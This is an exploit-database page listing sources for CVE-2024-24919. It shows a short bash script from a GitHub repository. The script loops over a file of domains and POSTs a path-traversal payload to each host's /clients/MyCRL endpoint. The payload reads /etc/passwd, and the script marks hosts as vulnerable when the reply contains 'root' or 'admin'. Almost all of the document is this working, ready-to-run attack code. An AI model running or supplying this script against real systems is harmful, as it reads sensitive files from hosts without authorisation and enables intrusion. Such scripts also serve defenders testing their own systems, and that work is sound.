Exploit databaseDownload repository ZIP
GH-4b6b559ce937852d4fc906ffedb0a503
bytenull00/cve-2024-24919
Sources for CVE-2024-24919
35 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
bytenull00/cve-2024-24919Revision f2c0853668eb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-24919_scan.sh
Shell · 860 bytes#!/bin/bash
# Author: Gustavo Segundo - ByteNull%00
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
grayColour="\e[0;37m\033[1m"
trap ctrl_c INT
FILE_URL="$1"
function ctrl_c(){
echo -e "\n${yellowColour}[*]${endColour} Exit ..."
exit 1
}
help(){
echo "Usage: ./CVE-2024-24919_scan.sh <FILE_URL>"
}
if [ -z "$FILE_URL" ]; then
echo "Error: Provide me with a file URL"
help
exit 1
fi
echo ""
while IFS= read -r domain; do
payload="aCSHELL/../../../../../../../etc/passwd"
response=$(curl -s -k -X POST -H "Content-Type: text/plain" -d "$payload" $domain/clients/MyCRL)
if [[ "$response" == *"admin"* ]] || [[ "$response" == *"root"* ]] || [[ "$response" == *"nobody"* ]]; then
echo -e "${greenColour}[+] CVE-2024-24919 - VULNERABLE -> ${grayColour} $domain ${endColour}"
fi
done < "$1"